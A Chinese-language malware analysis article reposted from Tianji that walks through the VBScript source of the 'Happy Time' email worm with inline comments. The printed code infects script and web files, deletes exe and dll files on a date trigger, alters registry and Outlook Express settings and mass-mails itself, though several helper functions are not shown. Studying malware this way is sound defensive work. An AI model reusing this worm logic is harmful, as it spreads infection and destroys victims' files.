"欢乐时光"代码分析
| 转自<天极网> ==================== “欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道,邮件的格式可以有两种: 纯文本和超文本。超文本(html)功能强大就不用多说了,它可以内嵌数种脚本语言,常见的就是vbscript和 javascript。“欢乐时光”在超文本中夹带的就是vbs。从源代码中可以看得出来,该作者很可能是长期从事网络编程的高 手,他对vbs的认识可谓精通,使用的许多技术细节都鲜为人知,尤其是利用了类型库(type library)成功地避开了安全 审核的手段更是令人叹为观止。 下面让我们来看看它藏在快乐的外衣下的是什么吧! *************** 欢乐时光 *************** rem i am sorry! happy time on error resume next mload &以上为病毒入口,并加上i am sorry! happy time的注释,以表明此文件已被感染过。 sub mload() on error resume next mpath = grf() set os = createobject("scriptlet.typelib") set oh = createobject("shell.application") &建立枚举对象,避开了安全审核 if ishtml then &调用ishtml函数,如果是html,就小写…… murl = lcase(document.location) if mpath = "" then os.reset os.path = "c:\help.htm" os.doc = lhtml() os.write() &如果mpath为空,就在c盘下生成help.htm ihtml = "" &超文本的内容,并指向c:\help.htm call document.body.insertadjacenthtml("afterbegin", ihtml) else if iv(mpath, "help.vbs") then setinterval "rt()", 10000 else m = "hta" if lcase(m) = right(murl, len(m)) then id = settimeout("mclose()", 1) &设置超时条件 main else os.reset() os.path = mpath & "\" & "help.hta" os.doc = lhtml() os.write() iv mpath, "help.hta" &生成help.hta end if end if end if else main &都不是,就执行main函数 end if end sub &****************************************************************** &以下为主函数,太长了! sub main() on error resume next set of = createobject("scripting.filesystemobject") &不用说,创建filesystemobject对象啦 set od = createobject("scripting.dictionary") &创建dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组 od.add "html", "1100;" od.add "vbs", "0100;" od.add "htm", "1100;" od.add "asp", "0010;" &向dictionary对象添加要感染的项目对 ks = "hkey_current_user\software\" &使用变量以减少代码长度 ds = grf() cs = gsf() if isvbs then &如果是vbs if of.fileexists("c:\help.htm") then of.deletefile ("c:\help.htm") &如果c:\help.htm存在,就删掉,消灭遗留的痕迹 end if key = cint(month(date) + day(date)) if key = 13 then &如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可) od.removeall od.add "exe", "0001;" od.add "dll", "0001;" &就清空dictionary数组,并将exe、dll加入dictionary 对象,以备删除之用 end if cn = rg(ks & "help\count") &读注册表中的hkey_current_user\software\help\count键值 if cn = "" then cn = 1 &如果count为0,就设为1 end if rw ks & "help\count", cn + 1 &添加hkey_current_user\software\help\count键值,值为2 f1 = rg(ks & "help\filename") &再读hkey_current_user\software\help\filename键值 f2 = fnext(of, od, f1) &得到该文件的文件名 fext = getext(of, od, f2) &得到该文件扩展名的代号 rw ks & "help\filename", f2 &添加键值 if isdel(fext) then &如果扩展名代号的第四个字符为1——即0001(exe、dll) f3 = f2 &储存文件名 f2 = fnext(of, od, f2) &得到文件的文件名? rw ks & "help\filename", f2 &写注册表 of.deletefile f3 &删除文件 else if lcase(wscript.scriptfullname) <> lcase(f2) then &如果不是集合中的文件 fw of, f2, fext end if end if if (cint(cn) mod 366) = 0 then if (cint(second(time)) mod 2) = 0 then &使用 cint函数强制执行转换,并发邮件 tsend else adds = og msend (adds) end if end if wp = rg("hkey_current_user\control panel\desktop\wallpaper") if rg(ks & "help\wallpaper") <> wp or wp = "" then &比较桌面墙纸是否已改变 if wp = "" then n1 = "" n3 = cs & "\help.htm" else mp = of.getfile(wp).parentfolder n1 = of.getfilename(wp) n2 = of.getbasename(wp) n3 = cs & "\" & n2 & ".htm" end if set pfc = of.createtextfile(n3, true) mt = sa("1100;") &创建超文本 pfc.write "<" & "html><" & "body bgcolor=f7f& background=&" & n1 & "&>< " & "/body><" & "/html>" & mt &超文本的内容 pfc.close rw ks & "help\wallpaper", n3 rw "hkey_current_user\control panel\desktop\wallpaper", n3 &将带毒的超文本设置成活动桌面 end if else set fc = of.createtextfile(ds & "\help.vbs", true) fc.write sa("0100;") &创建vbs文件 fc.close bf = cs & "\untitled.htm" set fc2 = of.createtextfile(bf, true) fc2.write lhtml fc2.close &创建windows下的untitled.htm oeid = rg("hkey_current_user\identities\default user id") oe = "hkey_current_user\identities\" & oeid & "\software\microsoft\outlook e xpress\5.0\mail" msh = oe & "\message send html" cus = oe & "\compose use stationery" sn = oe & "\stationery name" rw msh, 1 rw cus, 1 rw sn, bf &在hkey_current_user\identities\{aecf6ca3-9614-4af4-aef2-ct63fe9d97a4}\software\microsoft\outlook express\5.0\mail下添加三个键值message send html 、compose use stationery 和stationery name,前两个的值为 1,后一个指向windows\untitled.htm web = cs & "\web" set gf = of.getfolder(web).files &得到windows\web文件夹里的文件 od.add "htt", "1100;" &向dictionary里添加htt项目对 for each m in gf &遍历windows\web下的每一个文件 fext = getext(of, od, m) &得到每个文件的扩展名 if fext <> "" then &如果扩展名不为空,则 fw of, m, fext end if next end if end sub &****************************************************************** sub mclose() document.write "<" & "title>i am sorry!&写入i am sorry,并关闭。以此作为感染与否的标记 window.close end sub &****************************************************************** sub fw(of, s, n) &此时s为文件名,n为文件扩展名 dim fc, fc2, m, mmail, mt on error resume next set fc = of.opentextfile(s, 1) &只读模式打开该文件 mt = fc.readall &读入全部文件流 fc.close &关闭文件 if not sc(mt) then &如果未感染过 mmail = ml(mt) mt = sa(n) set fc2 = of.opentextfile(s, 8) &打开文件并在文件末尾进行写操作 fc2.write mt fc2.close msend (mmail) &发带毒邮件 end if end sub &****************************************************************** function sc(s) mn = "rem i am sorry! happy time" if instr(s, mn) > 0 then &如果读入的文件流中有rem i am sorry! happy time sc = true else sc = false &表示已感染过,返回true,否则为false end if end function &****************************************************************** function fnext(of, od, s) dim fpath, fname, fext, t, gf on error resume next fname = "" t = false &初始化变量 if of.fileexists(s) then &如果s存在于当前文件夹中 fpath = of.getfile(s).parentfolder &得到文件的父目录名 fname = s &得到文件名 elseif of.folderexists(s) then &不存在于当前文件夹中,则得到目录名 fpath = s t = true else fpath = dnext(of, "") &得到当前盘符——即根目录 end if do while true set gf = of.getfolder(fpath).files &得到当前目录下的所有文件对象 for each m in gf &遍历每个文件 if t then if getext(of, od, m) <> "" then &如果该文件是文件集合中的一员 fnext = m &则返回该文件名,供调用的函数或过程使用——感染或删除之 exit function end if elseif lcase(m) = lcase(fname) or fname = "" then &如果没文件 t = true end if next fpath = pnext(of, fpath) & loop end function &****************************************************************** function pnext(of, s) on error resume next dim ppath, npath, gp, pn, t, m t = false if of.folderexists(s) then &如果如果指定的文件夹存在 set gp = of.getfolder(s).subfolders &就得到子目录数 pn = gp.count if pn = 0 then &如果没子目录 ppath = lcase(s) & npath = lcase(of.getparentfoldername(s)) &得到父目录的小写形式 t = true else npath = lcase(s) &有子目录,得到其小写形式的集合 end if do while not er & for each pn in of.getfolder(npath).subfolders &得到子目录下的子目录 if t then if ppath = lcase(pn) then t = false end if else pnext = lcase(pn) exit function end if next t = true ppath = lcase(npath) &将字符串转化成小写 npath = of.getparentfoldername(npath) & if of.getfolder(ppath).isrootfolder then &如果是根目录 m = of.getdrivename(ppath) &就得到分区符 pnext = dnext(of, m) exit function end if loop end if end function &****************************************************************** function dnext(of, s) dim dc, n, d, t, m on error resume next t = false m = "" set dc = of.drives &得到所有的驱动器盘符 for each d in dc &遍历每个驱动器 if d.drivetype = 2 or d.drivetype = 3 then &如果是网络盘或本地盘 if t then dnext = d exit function &如果是false,就返回当前盘,并退出本函数 else if lcase(s) = lcase(d) then &如果是true且盘符相同,就令t为true t = true end if if m = "" then &如果m为空,就将盘符付给m m = d end if end if end if next dnext = m &返回盘符 end function &****************************************************************** function getext(of, od, s) dim fext on error resume next fext = lcase(of.getextensionname(s)) &返回该文件扩展名的小写 getext = od.item(fext) &返回dictionary对象中指定的key对应的item——即0001(exe)等 end function &****************************************************************** sub rw(k, v) &写注册表 dim r on error resume next set r = createobject("wscript.shell") &创建对象 r.regwrite k, v end sub &****************************************************************** function rg(v) &读注册表 dim r on error resume next set r = createobject("wscript.shell") &创建对象 rg = r.regread(v) end function &****************************************************************** function isvbs() &此函数判断是不是vbs文件 dim errtest on error resume next errtest = wscript.scriptfullname if err then &如果出错,则不是vbs isvbs = false else isvbs = true end if end function
本文关键:,欢乐时光 代码,
相关方案
|